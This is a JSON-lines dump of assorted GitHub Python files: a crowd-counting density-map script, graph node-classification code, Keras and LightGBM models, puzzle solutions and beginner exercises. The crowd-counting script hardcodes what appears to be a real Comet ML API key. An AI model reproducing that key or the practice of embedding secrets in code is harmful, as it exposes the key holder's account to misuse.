time.sleep(1) # Main thread doing nothing, just waiting for KeyboardInterrupt\n except KeyboardInterrupt:\n running = False\n server_thread.join() # Wait for server thread to finish\n print(\"Shutting down server...\")\n for conn in all_connections:\n conn.close()\n server.close()\n\n# Run the server\nstart_server()","repo_name":"AKashton/Prickly-Port-Pirates-","sub_path":"BlockChain Code/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"35"} +{"seq_id":"22674392666","text":"import pglet\nfrom pglet import Checkbox, Stack, Text\n\n\ndef checkboxes():\n return Stack(\n gap=20,\n controls=[\n Text(\"Checkboxes\", size=\"xLarge\"),\n Checkbox(label=\"Unchecked checkbox\", value=False),\n Checkbox(label=\"Checked checkbox\", value=True),\n Checkbox(label=\"Disabled checkbox\", disabled=True),\n Checkbox(label=\"Checkbox with rendered box_side='end'\", box_side=\"end\"),\n checkbox_with_on_change(),\n ],\n )\n\n\ndef checkbox_with_on_change():\n def checkbox_changed(e):\n t.value = f\"Checkbox value changed to {c.value}\"\n stack.update()\n\n c = Checkbox(\"Checkbox with on_change event\", on_change=checkbox_changed)\n t = Text()\n stack = Stack(controls=[c, t])\n return stack\n\n\ndef main(page):\n\n page.title = \"Checkbox control samples\"\n page.update()\n page.add(checkboxes())\n\n\npglet.app(\"python-checkbox\", target=main)\n","repo_name":"pglet/examples","sub_path":"python/controls/checkbox/checkbox_control.py","file_name":"checkbox_control.py","file_ext":"py","file_size_in_byte":941,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"35"} +{"seq_id":"19492534353","text":"from comet_ml import Experiment\nfrom joblib import Parallel, delayed\nimport os\nimport pandas as pd\nimport numpy as np\nimport scipy\nimport scipy.spatial\nimport scipy.ndimage\nfrom PIL import Image\nimport h5py\nfrom visualize_util import save_density_map\nimport argparse\nimport time\nimport traceback\nCOMET_ML_API = \"S3mM1eMq6NumMxk2QJAXASkUM\"\nPROJECT_NAME = \"crowd-counting-generate-ds\"\n\ndef load_density_label(label_txt_path):\n \"\"\"\n\n :param label_txt_path: path to txt\n :return: numpy array, p[sample, a] with a is 0 for x and 1 for y\n \"\"\"\n p = None\n try:\n df = pd.read_csv(label_txt_path, sep=\" \", header=None)\n p = df.to_numpy()\n except Exception:\n print(\"exception load csv \", label_txt_path)\n return p\n\n\ndef gaussian_filter_density(gt):\n \"\"\"\n generate density map from gt\n :param gt: matrix same shape as image, where annotation label as 1\n :return:\n \"\"\"\n print(gt.shape)\n density = np.zeros(gt.shape, dtype=np.float32)\n gt_count = np.count_nonzero(gt)\n if gt_count == 0:\n return density\n\n pts = np.array(list(zip(np.nonzero(gt)[1], np.nonzero(gt)[0])))\n leafsize = 2048\n # build kdtree\n pts_copy = pts.copy()\n tree = scipy.spatial.KDTree(pts_copy, leafsize=leafsize)\n # query kdtree\n distances, locations = tree.query(pts, k=4)\n\n print('generate density...')\n print('total points ', len(pts))\n for i, pt in enumerate(pts):\n pt2d = np.zeros(gt.shape, dtype=np.float32)\n pt2d[pt[1], pt[0]] = 1.\n if gt_count > 1:\n sigma = (distances[i][1] + distances[i][2] + distances[i][3]) * 0.1\n else:\n sigma = np.average(np.array(gt.shape)) / 2. / 2. # case: 1 point\n\n ## try to fix OverflowError: cannot convert float infinity to integer\n sigma = np.clip(sigma, 1, 100)\n ##\n density += scipy.ndimage.filters.gaussian_filter(pt2d, sigma, mode='constant', truncate=3)\n print('done.')\n return density\n\ndef generate_density_map(img_path, label_path, output_path):\n \"\"\"\n\n :param img_path:\n :param label_path: txt\n :param output_path\n :return:\n \"\"\"\n\n if os.path.exists(output_path):\n return \"exist \" + output_path\n\n gt = load_density_label(label_path)\n imgfile = Image.open(img_path).convert('RGB')\n # imgfile = image.load_img(img_path)\n img = np.asarray(imgfile)\n\n # empty matrix zero\n k = np.zeros((img.shape[0], img.shape[1]))\n if gt is not None:\n for i in range(0, len(gt)):\n if int(gt[i][1]) < img.shape[0] and int(gt[i][0]) < img.shape[1]:\n k[int(gt[i][1]), int(gt[i][0])] = 1\n k = gaussian_filter_density(k)\n # if gt is null, so we don't have count, let it be zero matrix\n\n with h5py.File(output_path, 'w') as hf:\n hf['density'] = k\n return output_path\n\n\ndef t_single_density_map():\n img = \"/data/jhu_crowd_v2.0/val/images/0003.jpg\"\n label = \"/data/jhu_crowd_v2.0/val/gt/0003.txt\"\n out_path = \"/data/jhu_crowd_v2.0/val/unittest/0003.txt\"\n out = generate_density_map(img, label, out_path)\n print(out)\n\n\ndef t_count(density_path, label_path):\n gt_file = h5py.File(density_path, 'r')\n target = np.asarray(gt_file['density'])\n density_count = target.sum()\n label_count = len(load_density_label(label_path))\n print(\"density count \", density_count)\n print(\"label count \", label_count)\n print(\"diff \", density_count - label_count)\n print(\"diff percentage \", (density_count - label_count)/ label_count * 100)\n\n\ndef t_print_density_map(density_path, density_img_out):\n gt_file = h5py.File(density_path, 'r')\n target = np.asarray(gt_file['density'])\n save_density_map(target, density_img_out)\n print(\"done print \", density_img_out)\n\n\ndef full_flow_jhucrowd(root_path, experiment=None):\n ROOT = root_path\n images_folder = os.path.join(ROOT, \"images\")\n gt_path_folder = os.path.join(ROOT, \"ground-truth\")\n density_path_folder = os.path.join(ROOT, \"ground-truth-h5\")\n img_list = os.listdir(path=images_folder)\n os.makedirs(density_path_folder, exist_ok=True)\n count = 0\n for img_name in img_list:\n name = img_name.split(\".\")[0]\n density_name = name + \".h5\"\n gt_name = name + \".txt\"\n if experiment is not None:\n experiment.log_metric(\"name\", name)\n img_path = os.path.join(images_folder, img_name)\n gt_path = os.path.join(gt_path_folder, gt_name)\n density_path = os.path.join(density_path_folder, density_name)\n out = generate_density_map(img_path, gt_path, density_path)\n print(out)\n count += 1\n if experiment is not None:\n experiment.log_metric(\"count\", count)\n print(\"done\")\n\n\n\ndef full_flow_jhucrowd_parallel(root_path, experiment=None):\n ROOT = root_path\n images_folder = os.path.join(ROOT, \"images\")\n gt_path_folder = os.path.join(ROOT, \"ground-truth\")\n density_path_folder = os.path.join(ROOT, \"ground-truth-h5\")\n img_list = os.listdir(path=images_folder)\n os.makedirs(density_path_folder, exist_ok=True)\n\n def jhucrowd_single_file(img_name):\n name = img_name.split(\".\")[0]\n density_name = name + \".h5\"\n gt_name = name + \".txt\"\n try:\n # if experiment is not None:\n # experiment.log_metric(\"name\", name)\n img_path = os.path.join(images_folder, img_name)\n gt_path = os.path.join(gt_path_folder, gt_name)\n density_path = os.path.join(density_path_folder, density_name)\n out = generate_density_map(img_path, gt_path, density_path)\n print(out)\n # if experiment is not None:\n # experiment.log_metric(\"count\", 1)\n except Exception as e:\n track = traceback.format_exc()\n print(track)\n # experiment.log_metric(\"exception_at\", name)\n print(\"exception at \", name)\n\n\n Parallel(n_jobs=20)(delayed(jhucrowd_single_file)(img_name) for img_name in img_list)\n\n print(\"done\")\n\n\n# def jhucrowd_single_file(img_name):\n# # ROOT = root_path\n# # images_folder = os.path.join(ROOT, \"images\")\n# # gt_path_folder = os.path.join(ROOT, \"ground-truth\")\n# # density_path_folder = os.path.join(ROOT, \"ground-truth-h5\")\n# name = img_name.split(\".\")[0]\n# density_name = name + \".h5\"\n# gt_name = name + \".txt\"\n# if experiment is not None:\n# experiment.log_metric(\"name\", name)\n# img_path = os.path.join(images_folder, img_name)\n# gt_path = os.path.join(gt_path_folder, gt_name)\n# density_path = os.path.join(density_path_folder, density_name)\n# out = generate_density_map(img_path, gt_path, density_path)\n# print(out)\n# if experiment is not None:\n# experiment.log_metric(\"count\", 1)\n\n\ndef args_parser():\n \"\"\"\n this is not dummy\n if you are going to make all-in-one notebook, ignore this\n :return:\n \"\"\"\n parser = argparse.ArgumentParser(description='jhucrowd')\n parser.add_argument(\"--task_id\", action=\"store\", default=\"dev\")\n parser.add_argument('--input', action=\"store\", type=str)\n arg = parser.parse_args()\n return arg\n\n\nif __name__ == \"__main__\":\n experiment = Experiment(project_name=PROJECT_NAME, api_key=COMET_ML_API)\n start_time = time.time()\n args = args_parser()\n experiment.set_name(args.task_id)\n experiment.set_cmd_args()\n\n print(\"input \", args.input)\n full_flow_jhucrowd_parallel(args.input, experiment)\n # full_flow_jhucrowd(\"/data/jhu_crowd_v2.0/val\")\n # t_count(\"/data/jhu_crowd_v2.0/val/unittest/0003.h5\", \"/data/jhu_crowd_v2.0/val/gt/0003.txt\")\n # t_single_density_map()\n\n # t_print_density_map(\"/data/jhu_crowd_v2.0/val/ground-truth-h5/3556.h5\", \"/data/jhu_crowd_v2.0/val/ground-truth-h5/3556.png\")\n # t_print_density_map(\"/data/jhu_crowd_v2.0/val/ground-truth-h5/1632.h5\",\n # \"/data/jhu_crowd_v2.0/val/ground-truth-h5/1632.png\")\n\n # ROOT = \"/data/jhu_crowd_v2.0/val\"\n # images_folder = os.path.join(ROOT, \"images\")\n # gt_path_folder = os.path.join(ROOT, \"gt\")\n print(\"--- %s seconds ---\" % (time.time() - start_time))\n\n","repo_name":"ttpro1995/crowd_counting_framework","sub_path":"dataset_script/jhucrowd_density_map.py","file_name":"jhucrowd_density_map.py","file_ext":"py","file_size_in_byte":8153,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"37633958791","text":"\"\"\"Add character_hat relationship\n\nRevision ID: 046e2cf53aab\nRevises: 61502e350b31\nCreate Date: 2021-01-19 23:06:05.157167\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = '046e2cf53aab'\ndown_revision = '61502e350b31'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('characters', sa.Column('hat_id', postgresql.UUID(as_uuid=True), nullable=True))\n op.create_foreign_key(None, 'characters', 'clothes', ['hat_id'], ['id'], ondelete='CASCADE')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint(None, 'characters', type_='foreignkey')\n op.drop_column('characters', 'hat_id')\n # ### end Alembic commands ###\n","repo_name":"Liorinco/flask-multitier-service","sub_path":"alembic_migrations/versions/046e2cf53aab_add_character_hat_relationship.py","file_name":"046e2cf53aab_add_character_hat_relationship.py","file_ext":"py","file_size_in_byte":896,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"17744696089","text":"import taskers_utils as tu\nimport torch\nimport utils as u\n\"\"\"\n节点分类任务数据准备类,包括:\n1. 获取给定时间点前的历史节点特征列表、邻接矩阵列表、标签列表,\n将时间点、节点特征列表、邻接矩阵列表、标签列表组成一个字典;\n2. 需注意,在节点分类任务中只有两个类\n\n接受的输入为:args,即yaml文件的参数;dataset,各数据处理类的数据类,针对ellptic_temporal_dl包括以下属性:\nnodes: 由原始数据读入文件的数据,第一列为ID,第列以后为特征\nnodes_feats: 节点的固有属性\nnodes_labels_times: 具有标签的节点的ID、标签、时间点\nedges: 交易记录,为一个dict,data字段格式为target,source,time,vals字段:torch.ones\nmax_time\nmin_time\nnum_nodes\nfeats_per_node\n\n\nNode_Cls_Tasker: 组装的具有时序顺序的回归任务类\n主方法为:\nget_sample:根据给定的id返回样本,为一个dict,包括id,历史的adj,node_feats,label,mask\n其他方法包括get_node_feats:根据使用特征类型返回特征的原始格式,\nprepare_node_feat:如果使用节点度特征,则返回稀疏矩阵;否则返回节点原始特征\nget_node_label:节点标签\n属性包括:\ndata:全部样本集\nargs:\nnum_classes:2\nfeats_per_nodes\nnodes_labels_times:\nis_static:False\n\nStatic_Node_Cls_Tasker: 组装的静态的回归任务类\n其主方法为:\nget_sample:根据给定的id返回样本,为一个dict,包括id,adj,node_feats,label,mask=None\n\n属性包括:\ndata:全部样本集\nargs:\nnum_classes:2\nadj_matrix:\nfeats_per_nodes:\nnodes_feats:\nis_static:True\n\"\"\"\nclass Node_Cls_Tasker():\n\tdef __init__(self,args,dataset):\n\t\tself.data = dataset\n\n\t\tself.max_time = dataset.max_time #数据集的固有属性,应表示最大的时间区间\n\n\t\tself.args = args\n\n\t\tself.num_classes = 2 #? 去除了unknown类\n\n\t\tself.feats_per_node = dataset.feats_per_node #节点特征的维度\n\n\t\tself.nodes_labels_times = dataset.nodes_labels_times #节点的交易时间与标签\n\n\t\tself.get_node_feats = self.build_get_node_feats(args,dataset) # 节点特征矩阵\n\n\t\tself.prepare_node_feats = self.build_prepare_node_feats(args,dataset) #把节点特征矩阵转换为torch.tensor\n\n\t\tself.is_static = False\n\n\n\tdef build_get_node_feats(self,args,dataset):\n\t\t# 使用出度向量+入度向量作为度特征向量\n\t\tif args.use_2_hot_node_feats:\n\t\t\t# 计算给定数据集所有时间段内节点的最大出度和入度\n\t\t\tmax_deg_out, max_deg_in = tu.get_max_degs(args,dataset,all_window = True)\n\t\t\t# 每个节点的度向量特征的维度等于最大出度+最大入度\n\t\t\tself.feats_per_node = max_deg_out + max_deg_in\n\t\t\t# \n\t\t\tdef get_node_feats(i,adj):\n\t\t\t\treturn tu.get_2_hot_deg_feats(adj,\n\t\t\t\t\t\t\t\t\t\t\t max_deg_out,\n\t\t\t\t\t\t\t\t\t\t\t max_deg_in,\n\t\t\t\t\t\t\t\t\t\t\t dataset.num_nodes)\n\t\t# 使用出度向量作为度特征向量\n\t\telif args.use_1_hot_node_feats:\n\t\t\tmax_deg,_ = tu.get_max_degs(args,dataset)\n\t\t\tself.feats_per_node = max_deg\n\t\t\tdef get_node_feats(i,adj):\n\t\t\t\treturn tu.get_1_hot_deg_feats(adj,\n\t\t\t\t\t\t\t\t\t\t\t max_deg,\n\t\t\t\t\t\t\t\t\t\t\t dataset.num_nodes)\n\t\t# 使用节点的固有特征作为特征向量\n\t\telse:\n\t\t\tdef get_node_feats(i,adj):\n\t\t\t\treturn dataset.nodes_feats#[i] I'm ignoring the index since the features for Elliptic are static\n\n\t\treturn get_node_feats\n\n\tdef build_prepare_node_feats(self,args,dataset):\n\t\t# 如果使用节点度one-hot作为特征向量,按度数值构造节点特征的维度\n\t\tif args.use_2_hot_node_feats or args.use_1_hot_node_feats:\n\t\t\tdef prepare_node_feats(node_feats):\n\t\t\t\treturn u.sparse_prepare_tensor(node_feats,\n\t\t\t\t\t\t\t\t\t\t\t torch_size= [dataset.num_nodes,\n\t\t\t\t\t\t\t\t\t\t\t \t\t\t\tself.feats_per_node])\n\t\t# elif args.use_1_hot_node_feats:\n\t\t# 如果不使用节点度one-hot作为特征向量,直接返回node_feats[0]作为特征,\n\t\t#? 故node_feats[0]必然为原始特征\n\t\telse:\n\t\t\tdef prepare_node_feats(node_feats):\n\t\t\t\treturn node_feats[0] #I'll have to check this up\n\n\t\treturn prepare_node_feats\n\n\tdef get_sample(self,idx,test):\n\t\t\"\"\"\n\t\t获取样本的历史邻接矩阵列表、节点特征列表、节点掩码列表、标签,\n\t\t该类的主方法\n\t\tidx: 指定时间点,时间区间为[idx-num_hist_steps,idx+1)\n \t\t\"\"\"\n\t\thist_adj_list = []\n\t\thist_ndFeats_list = []\n\t\thist_mask_list = []\n\t\t# \n\t\tfor i in range(idx - self.args.num_hist_steps, idx+1):\n\t\t\t#all edgess included from the beginning\n\t\t\tcur_adj = tu.get_sp_adj(edges = self.data.edges,\n\t\t\t\t\t\t\t\t\ttime = i,\n\t\t\t\t\t\t\t\t\tweighted = True,\n\t\t\t\t\t\t\t\t\ttime_window = self.args.adj_mat_time_window) #changed this to keep only a time window\n\n\t\t\tnode_mask = tu.get_node_mask(cur_adj, self.data.num_nodes)\n\n\t\t\tnode_feats = self.get_node_feats(i,cur_adj)\n\n\t\t\tcur_adj = tu.normalize_adj(adj = cur_adj, num_nodes = self.data.num_nodes)\n\n\t\t\thist_adj_list.append(cur_adj)\n\t\t\thist_ndFeats_list.append(node_feats)\n\t\t\thist_mask_list.append(node_mask)\n\n\t\tlabel_adj = self.get_node_labels(idx)\n\n\t\treturn {'idx': idx,\n\t\t\t\t'hist_adj_list': hist_adj_list,\n\t\t\t\t'hist_ndFeats_list': hist_ndFeats_list,\n\t\t\t\t'label_sp': label_adj,\n\t\t\t\t'node_mask_list': hist_mask_list}\n\n\n\tdef get_node_labels(self,idx):\n\t\t\"\"\"\n\t\t获取给定时间点idx的节点ID和节点标签\n \t\t\"\"\"\n\t\t# window_nodes = tu.get_sp_adj(edges = self.data.edges,\n\t\t# \t\t\t\t\t\t\t time = idx,\n\t\t# \t\t\t\t\t\t\t weighted = False,\n\t\t# \t\t\t\t\t\t\t time_window = self.args.adj_mat_time_window)\n\n\t\t# window_nodes = window_nodes['idx'].unique()\n\n\t\t# fraud_times = self.data.nodes_labels_times[window_nodes]\n\n\t\t# non_fraudulent = ((fraud_times > idx) + (fraud_times == -1))>0\n\t\t# non_fraudulent = window_nodes[non_fraudulent]\n\n\t\t# fraudulent = (fraud_times <= idx) * (fraud_times > max(idx - self.args.adj_mat_time_window,0))\n\t\t# fraudulent = window_nodes[fraudulent]\n\n\t\t# label_idx = torch.cat([non_fraudulent,fraudulent]).view(-1,1)\n\t\t# label_vals = torch.cat([torch.zeros(non_fraudulent.size(0)),\n\t\t# \t\t\t\t\t torch.ones(fraudulent.size(0))])\n\t\tnode_labels = self.nodes_labels_times # node_label_times数据的顺序依次是node_id, label,time\n\t\tsubset = node_labels[:,2]==idx #? idx为时间点\n\t\tlabel_idx = node_labels[subset,0]\n\t\tlabel_vals = node_labels[subset,1]\n\n\t\treturn {'idx': label_idx,\n\t\t\t\t'vals': label_vals}\n\n\n\n\nclass Static_Node_Cls_Tasker(Node_Cls_Tasker):\n\tdef __init__(self,args,dataset):\n\t\tself.data = dataset\n\n\t\tself.args = args\n\n\t\tself.num_classes = 2\n\n\t\tself.adj_matrix = tu.get_static_sp_adj(edges = self.data.edges, weighted = False)\n\n\t\tif args.use_2_hot_node_feats:\n\t\t\tmax_deg_out, max_deg_in = tu.get_max_degs_static(self.data.num_nodes,self.adj_matrix)\n\t\t\tself.feats_per_node = max_deg_out + max_deg_in\n\t\t\t#print ('feats_per_node',self.feats_per_node ,max_deg_out, max_deg_in)\n\t\t\tself.nodes_feats = tu.get_2_hot_deg_feats(self.adj_matrix ,\n\t\t\t\t\t\t\t\t\t\t\t\t max_deg_out,\n\t\t\t\t\t\t\t\t\t\t\t\t max_deg_in,\n\t\t\t\t\t\t\t\t\t\t\t\t dataset.num_nodes)\n\n\t\t\t#print('XXXX self.nodes_feats',self.nodes_feats)\n\t\t\tself.nodes_feats = u.sparse_prepare_tensor(self.nodes_feats, torch_size= [self.data.num_nodes,self.feats_per_node], ignore_batch_dim = False)\n\n\t\telse:\n\t\t\tself.feats_per_node = dataset.feats_per_node\n\t\t\tself.nodes_feats = self.data.nodes_feats\n\n\t\tself.adj_matrix = tu.normalize_adj(adj = self.adj_matrix, num_nodes = self.data.num_nodes)\n\t\tself.is_static = True\n\n\tdef get_sample(self,idx,test):\n\t\t# 使用全部数据作为一个批次,\n\t\t#print ('self.adj_matrix',self.adj_matrix.size())\n\t\t# print(idx.shape)\n\t\tidx_ori = self.data.nodes_labels_times[idx,0]\n\t\t# nodes_feats = self.data.nodes_feats[idx_ori,:]\n\t\tlabel = self.data.nodes_labels_times[idx,1] # [:,[0,1,2]]依次是id,label,time\n\n\t\treturn {'idx': idx_ori,\n\t\t\t\t# 'nodes_feats': nodes_feats,\n\t\t\t\t# 'adj': self.adj_matrix,\n\t\t\t\t'label': label\n\t\t\t\t}\n\n\n\nif __name__ == '__main__':\n\tfraud_times = torch.tensor([10,5,3,6,7,-1,-1])\n\tidx = 6\n\tnon_fraudulent = ((fraud_times > idx) + (fraud_times == -1))>0\n\tprint(non_fraudulent)\n\texit()\n","repo_name":"hzg0601/debuged-Evolve-GCN","sub_path":"node_cls_tasker.py","file_name":"node_cls_tasker.py","file_ext":"py","file_size_in_byte":7888,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"40590478611","text":"from itertools import combinations\nclass Solution(object):\n def combinationSum3(self, k, n):\n \"\"\"\n :type k: int\n :type n: int\n :rtype: List[List[int]]\n \"\"\"\n answer = []\n permutation = list(combinations(range(1,10), k))\n for p in permutation:\n if sum(p) == n:\n answer.append(p)\n return answer\n","repo_name":"TianyaoHua/LeetCodeSolutions","sub_path":"Combination Sum III.py","file_name":"Combination Sum III.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"70702038182","text":"#https://school.programmers.co.kr/learn/courses/30/lessons/68936\n\n# 아 너무 지저분한 풀이인데 암튼\nanswer = []\nzero, one = 0, 0\ndef solution(arr):\n global zero, one\n l = len(arr)\n if l == 1: return \n else:\n quardList = [(0, l//2, 0, l//2), (0, l//2, l//2,l),\n (l//2,l, 0, l//2), (l//2,l, l//2,l)]\n alter = [0, 0]\n for a1, b1, a2, b2 in quardList: \n newArr = []\n cnt = 0\n for i in range(a1, b1):\n inner = []\n for j in range(a2, b2):\n inner.append(arr[i][j])\n cnt += arr[i][j]\n newArr.append(inner)\n\n if cnt == (l//2)**2: \n one += 1\n alter[1] += 1\n continue\n elif cnt == 0: \n zero += 1\n alter[0] += 1\n continue\n solution(newArr)\n if alter[0] == 4: return [1, 0]\n elif alter[1] == 4: return [0, 1]\n return [zero, one]\n","repo_name":"8x15yz/Algorithm-Solutions","sub_path":"2023/programers/09/pregrammers68936.py","file_name":"pregrammers68936.py","file_ext":"py","file_size_in_byte":1036,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"39405552441","text":"\"\"\"\nCMPS 2200 Recitation 1\n\"\"\"\n\n### the only imports needed are here\nimport tabulate\nimport time\n###\n\ndef linear_search(mylist, key):\n\t\"\"\" done. \"\"\"\n\tfor i,v in enumerate(mylist):\n\t\tif v == key:\n\t\t\treturn i\n\treturn -1\n\ndef test_linear_search():\n\t\"\"\" done. \"\"\"\n\tassert linear_search([1,2,3,4,5], 5) == 4\n\tassert linear_search([1,2,3,4,5], 1) == 0\n\tassert linear_search([1,2,3,4,5], 6) == -1\n\ndef binary_search(mylist, key):\n \"\"\" done. \"\"\"\n return _binary_search(mylist, key, 0, len(mylist)-1)\n\ndef _binary_search(mylist, key, left, right):\n if right >= left:\n mid = (left + right)//2\n if mylist[mid] == key:\n return mid\n\n elif mylist[mid] > key:\n return _binary_search(mylist, key, left, mid-1)\n\n else:\n return _binary_search(mylist, key, mid+1, right)\n\n else:\n return -1\n\ndef test_binary_search():\n\tassert binary_search([1,2,3,4,5], 5) == 4\n\tassert binary_search([1,2,3,4,5], 1) == 0\n\tassert binary_search([1,2,3,4,5], 6) == -1\n\tassert binary_search([1,2,3,4,5], 3) == 2\n\tassert binary_search([1,2,3,4,5],1) == 0\n\n\n\n\n\ndef time_search(search_fn, mylist, key):\n start=time.time()*1000\n search_fn(mylist,key)\n return ((time.time()*1000)-start)\n \n\ndef compare_search(sizes=[1e1, 1e2, 1e3, 1e4]):\n\ttime_search_list = []\n\tfor size in sizes:\n\t\tmylist = list(range(int(size)))\n\t\tlinear_search_time = time_search(linear_search, mylist,-1)\n\t\tbinary_search_time = time_search(binary_search, mylist,-1)\n\t\ttime_search_list.append((size, linear_search_time, binary_search_time))\n\treturn time_search_list\n\n\"\"\"\n\tCompare the running time of linear_search and binary_search\n\tfor input sizes as given. The key for each search should be\n\t-1. The list to search for each size contains the numbers from 0 to n-1,\n\tsorted in ascending order. \n\n\tYou'll use the time_search function to time each call.\n\n\tReturns:\n\t A list of tuples of the form\n\t (n, linear_search_time, binary_search_time)\n\t indicating the number of milliseconds it takes\n\t for each method to run on each value of n\n\t\"\"\"\n\n\n\ndef print_results(results):\n\t\"\"\" done \"\"\"\n\tprint(tabulate.tabulate(results,\n\t\theaders=['n', 'linear', 'binary'],\n\t\tfloatfmt=\".3f\",\n\t\ttablefmt=\"github\"))\n\ndef test_compare_search():\n\tres = compare_search(sizes=[10, 100])\n\tprint(res)\n\tassert res[0][0] == 10\n\tassert res[1][0] == 100\n\tassert res[0][1] < 1\n\tassert res[1][1] < 1\nprint_results(compare_search())","repo_name":"ryan-blunden/recitation-01-kmyty123","sub_path":"bak2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"15999690400","text":"# -*- coding: utf-8 -*-\nimport math \n\"\"\"\nCreated on Sat Mar 30 10:56:23 2019\n\n@author: Michael\n\"\"\"\n'''================================EXERCICIO==============================='''\n'''=========== CALCULADORA ================='''\n''' 1'''\nx = 10 % 3\nprint(x)\n'''2 '''\nfor i in range(0,11):\n print(\"13 x {} = {}\".format(i,13*i))\n'''3'''\naulasPorsemana = 2\nmesesDeaula = 4\nsemanasNoMes = 4\npresencObrig = 75/100\n\nqtdAulas = aulasPorsemana * semanasNoMes * mesesDeaula\nminPresenca = qtdAulas * presencObrig\nprint(\"Total de aulas: {}, Minino de Presenca: {}, Faltas Permitidas: {}\".format(qtdAulas,minPresenca,qtdAulas-minPresenca))\n'''4'''\ndef AreaDoRaio(raio): \n area = math.pow(raio,2)*math.pi\n return area\nr=2\nprint(\"Area de do raio de {} é {}\".format(r,AreaDoRaio(r)))\n\n'''=======================EXPRESSOES NUMERICAS================'''\n\n'''1'''\nhoras = 3\nminutos = 23\nsegundos = 17\ntempoInicial = str(horas)+\":\"+str(minutos)+\":\"+str(segundos)\nminutos +=(horas * 60)\nsegundos +=(minutos*60)\nprint(\"{} tem o total de: {} segundos.\".format(tempoInicial,segundos))\n'''2'''\ndistancia = 65 #em Km\ndistancia *= 1000 # transormando em metros\nvelMedia = distancia /segundos\nprint(\"Velocidade media de {}m/s\".format(round(velMedia,2)))\n'''3==================================================================='''\nexp = (100 - 413 * (20 - 5 * 4))/ 5\nprint(exp)\n'''4==================================================================='''\nc = [0,0,0]\nfor z in range(0,3):\n c[z] =float(input('Informe o valor do {}º capacitor'.format(z+1)))\nx=input('[1]- Serie / [2]-Paralelo')\nx =int(x)\nsoma = 0\nif x==2:\n for i in range(0,3):\n soma += c[i]\n print(\"Capacitancia resultante é {}\".format(round(soma,2)))\nelse:\n for i in range(0,3):\n soma += 1/c[i]\n cp = 1/soma\n print(\"Capacitancia resultante é {}\".format(round(cp,2)))","repo_name":"MichaelNascimento/aprendizagemPython","sub_path":"exercicios.py","file_name":"exercicios.py","file_ext":"py","file_size_in_byte":1846,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"3739805552","text":"'''\n[PGS] 다음 큰 숫자/06/오슬기\n\nn+1 부터 2진수로 변환시켜 리스트로 만든 뒤 1의 개수를 세어\nn과 같을 때 출력한다\n\n'''\n\ndef solution(n):\n cnt = n+1\n while True:\n if list(str(bin(cnt)[2:])).count('1') == list(str(bin(n)[2:])).count('1'):\n break\n cnt += 1\n return cnt","repo_name":"bellDev-code/Challenge_Algorithm","sub_path":"programmers/Ohsulgi/today13/06-todayChallenge.py","file_name":"06-todayChallenge.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"10224819799","text":"import lightgbm as lgb\nimport tensorflow as tf\nfrom tensorflow import keras\n\n\n# our CNN classification model\ndef CNN(VOCABSIZE, EMBEDDING_DIM, MAX_SEN_LENGTH):\n activation = \"relu\"\n\n model = keras.Sequential()\n\n model.add(keras.layers.Embedding(input_dim=VOCABSIZE,\n output_dim=EMBEDDING_DIM,\n input_length=MAX_SEN_LENGTH))\n\n model.add(keras.layers.Conv1D(filters=32, activation=activation, kernel_size=7))\n\n model.add(keras.layers.GlobalMaxPool1D())\n\n model.add(keras.layers.Dense(units=10, activation=activation))\n\n model.add(keras.layers.Dense(1, activation='sigmoid'))\n\n model.compile(loss='binary_crossentropy', optimizer=keras.optimizers.Adam(0.0013), metrics=['accuracy', tf.keras.metrics.AUC(), tf.keras.metrics.Precision(), tf.keras.metrics.Recall()])\n\n return model\n\n\n# our LSTM classification model\ndef LSTM(VOCABSIZE, EMBEDDING_DIM, MAX_SEN_LENGTH):\n model = keras.Sequential()\n\n model.add(keras.layers.Embedding(input_dim=VOCABSIZE,\n output_dim=EMBEDDING_DIM,\n input_length=MAX_SEN_LENGTH))\n\n model.add(keras.layers.LSTM(50, recurrent_dropout=0))\n\n model.add(keras.layers.Dense(units=5, activation='relu'))\n\n model.add(keras.layers.Dense(1, activation='sigmoid'))\n\n model.compile(loss='binary_crossentropy', optimizer=keras.optimizers.Adam(0.00023),\n metrics=['accuracy', keras.metrics.AUC(), tf.keras.metrics.Precision(), tf.keras.metrics.Recall()])\n\n return model\n\n\n# our LGBM classification model\ndef LGBM(X_train, y_train, es):\n dtrain = lgb.Dataset(X_train[100:], label=y_train[100:])\n dval = lgb.Dataset(X_train[:100], label=y_train[:100])\n\n lgb_clf = lgb\n es_lgbm = lgb.early_stopping(es)\n\n gbm = lgb_clf.train(\n params={\n 'lambda_l1': 0.296,\n 'learning_rate': 0.177,\n # 'objective': \"binary\",\n 'objective': \"regression\",\n 'metric': \"binary_logloss\",\n 'num_leaves': 64,\n 'max_depth': 74\n },\n train_set=dtrain,\n valid_sets=[dval],\n num_boost_round=10000,\n callbacks=[es_lgbm]\n )\n\n return gbm","repo_name":"Vivian-liyw/Synthesized-Online-Content","sub_path":"Classification_model.py","file_name":"Classification_model.py","file_ext":"py","file_size_in_byte":2259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} 